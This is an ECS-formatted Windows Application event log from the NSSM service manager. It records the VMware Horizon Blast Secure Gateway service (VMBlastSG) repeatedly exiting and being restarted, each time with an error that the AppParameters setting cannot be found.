{"@timestamp":1646826044654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166489}}
{"@timestamp":1646826044655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166490}}
{"@timestamp":1646826044655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166491}}
{"@timestamp":1646826044656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166492}}
{"@timestamp":1646826173159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166493}}
{"@timestamp":1646826173160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166494}}
{"@timestamp":1646826173162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160948","0"]}}},"module":"Application","provider":"nssm","sequence":166495}}
{"@timestamp":1646826173163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160948","160948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166496}}
{"@timestamp":1646826173180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166497}}
{"@timestamp":1646826173181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166498}}
{"@timestamp":1646826173182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166499}}
{"@timestamp":1646826173183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166500}}
{"@timestamp":1646826301647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166501}}
{"@timestamp":1646826301648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166502}}
{"@timestamp":1646826301649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160376","0"]}}},"module":"Application","provider":"nssm","sequence":166503}}
{"@timestamp":1646826301651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160376","160376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166504}}
{"@timestamp":1646826301668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166505}}
{"@timestamp":1646826301668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166506}}
{"@timestamp":1646826301669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166507}}
{"@timestamp":1646826301669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166508}}
{"@timestamp":1646826430138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166509}}
{"@timestamp":1646826430140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166510}}
{"@timestamp":1646826430141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162880","0"]}}},"module":"Application","provider":"nssm","sequence":166511}}
{"@timestamp":1646826430142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162880","162880","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166512}}
{"@timestamp":1646826430159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166513}}
{"@timestamp":1646826430159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166514}}
{"@timestamp":1646826430160,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166515}}
{"@timestamp":1646826430161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166516}}
{"@timestamp":1646826558639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166517}}
{"@timestamp":1646826558640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166518}}
{"@timestamp":1646826558641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162844","0"]}}},"module":"Application","provider":"nssm","sequence":166519}}
{"@timestamp":1646826558642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162844","162844","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166520}}
{"@timestamp":1646826558659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166521}}
{"@timestamp":1646826558659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166522}}
{"@timestamp":1646826558660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166523}}
{"@timestamp":1646826558661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166524}}
{"@timestamp":1646826687142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166525}}
{"@timestamp":1646826687144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166526}}
{"@timestamp":1646826687144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162152","0"]}}},"module":"Application","provider":"nssm","sequence":166527}}
{"@timestamp":1646826687145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162152","162152","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166528}}
{"@timestamp":1646826687163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166529}}
{"@timestamp":1646826687163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166530}}
{"@timestamp":1646826687164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166531}}
{"@timestamp":1646826687165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166532}}
{"@timestamp":1646826815630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166533}}
{"@timestamp":1646826815630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166534}}
{"@timestamp":1646826815631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162432","0"]}}},"module":"Application","provider":"nssm","sequence":166535}}
{"@timestamp":1646826815634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162432","162432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166536}}
{"@timestamp":1646826815650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166537}}
{"@timestamp":1646826815651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166538}}
{"@timestamp":1646826815651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166539}}
{"@timestamp":1646826815652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166540}}
{"@timestamp":1646826944148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166541}}
{"@timestamp":1646826944150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166542}}
{"@timestamp":1646826944151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163836","0"]}}},"module":"Application","provider":"nssm","sequence":166543}}
{"@timestamp":1646826944151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163836","163836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166544}}
{"@timestamp":1646826944168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166545}}
{"@timestamp":1646826944169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166546}}
{"@timestamp":1646826944169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166547}}
{"@timestamp":1646826944170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166548}}
{"@timestamp":1646827072649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166549}}
{"@timestamp":1646827072650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166550}}
{"@timestamp":1646827072652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163696","0"]}}},"module":"Application","provider":"nssm","sequence":166551}}
{"@timestamp":1646827072654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163696","163696","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166552}}
{"@timestamp":1646827072671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166553}}
{"@timestamp":1646827072672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166554}}
{"@timestamp":1646827072672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166555}}
{"@timestamp":1646827072673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166556}}
{"@timestamp":1646827201285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166557}}
{"@timestamp":1646827201286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166558}}
{"@timestamp":1646827201286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163136","0"]}}},"module":"Application","provider":"nssm","sequence":166559}}
{"@timestamp":1646827201287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163136","163136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166560}}
{"@timestamp":1646827201304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166561}}
{"@timestamp":1646827201305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166562}}
{"@timestamp":1646827201306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166563}}
{"@timestamp":1646827201307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166564}}
{"@timestamp":1646827329785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166565}}
{"@timestamp":1646827329786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166566}}
{"@timestamp":1646827329786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163072","0"]}}},"module":"Application","provider":"nssm","sequence":166567}}
{"@timestamp":1646827329787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163072","163072","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166568}}
{"@timestamp":1646827329804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166569}}
{"@timestamp":1646827329805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166570}}
{"@timestamp":1646827329805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166571}}
{"@timestamp":1646827329806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166572}}
{"@timestamp":1646827458279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166573}}
{"@timestamp":1646827458280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166574}}
{"@timestamp":1646827458281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161240","0"]}}},"module":"Application","provider":"nssm","sequence":166575}}
{"@timestamp":1646827458281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161240","161240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166576}}
{"@timestamp":1646827458297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166577}}
{"@timestamp":1646827458298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166578}}
{"@timestamp":1646827458298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166579}}
{"@timestamp":1646827458299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166580}}
{"@timestamp":1646827586937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166581}}
{"@timestamp":1646827586937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166582}}
{"@timestamp":1646827586938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163192","0"]}}},"module":"Application","provider":"nssm","sequence":166583}}
{"@timestamp":1646827586939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163192","163192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166584}}
{"@timestamp":1646827586956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166585}}
{"@timestamp":1646827586957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166586}}
{"@timestamp":1646827586957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166587}}
{"@timestamp":1646827586958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166588}}
{"@timestamp":1646827715452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166589}}
{"@timestamp":1646827715452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166590}}
{"@timestamp":1646827715454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162360","0"]}}},"module":"Application","provider":"nssm","sequence":166591}}
{"@timestamp":1646827715455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162360","162360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166592}}
{"@timestamp":1646827715471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166593}}
